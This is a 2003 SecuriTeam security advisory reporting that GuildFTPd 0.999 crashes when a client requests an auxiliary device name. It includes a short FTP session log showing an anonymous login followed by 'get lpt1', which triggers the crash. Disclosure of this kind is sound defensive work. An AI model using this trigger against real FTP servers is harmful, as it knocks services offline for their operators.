[NT] GuildFTPd Remote DoS (LPT1)

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From: support@securiteam.com
To: list@securiteam.com
Date: 1 Jan 2003 11:16:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  GuildFTPd Remote DoS (LPT1)
------------------------------------------------------------------------

SUMMARY

 <http://guildftpd.ztnet.com/Main.htm> GuildFTPd is a small FTP server. A
vulnerability in the product allows remote attackers to cause the program
to crash whenever it asked to access auxiliary ports (such as LPT).

DETAILS

Vulnerable systems:
 * GuildFTPd version 0.999

Example:
D:\>ftp 127.0.0.1
Connecté à 127.0.0.1.
220-GuildFTPd FTP Server (c) 1997-2002
220-Version 0.999
220 Please enter your name:
Utilisateur (127.0.0.1:(none)) : anonymous
331 User name okay, Need password.
Mot de passe :
230 User logged in.
ftp> get lpt1
200 PORT command successful.
150 Opening ascii mode data connection for /lpt1 (0 bytes).
(no response)

ADDITIONAL INFORMATION

The information has been provided by <mailto:securma@caramail.com>
securma massine.

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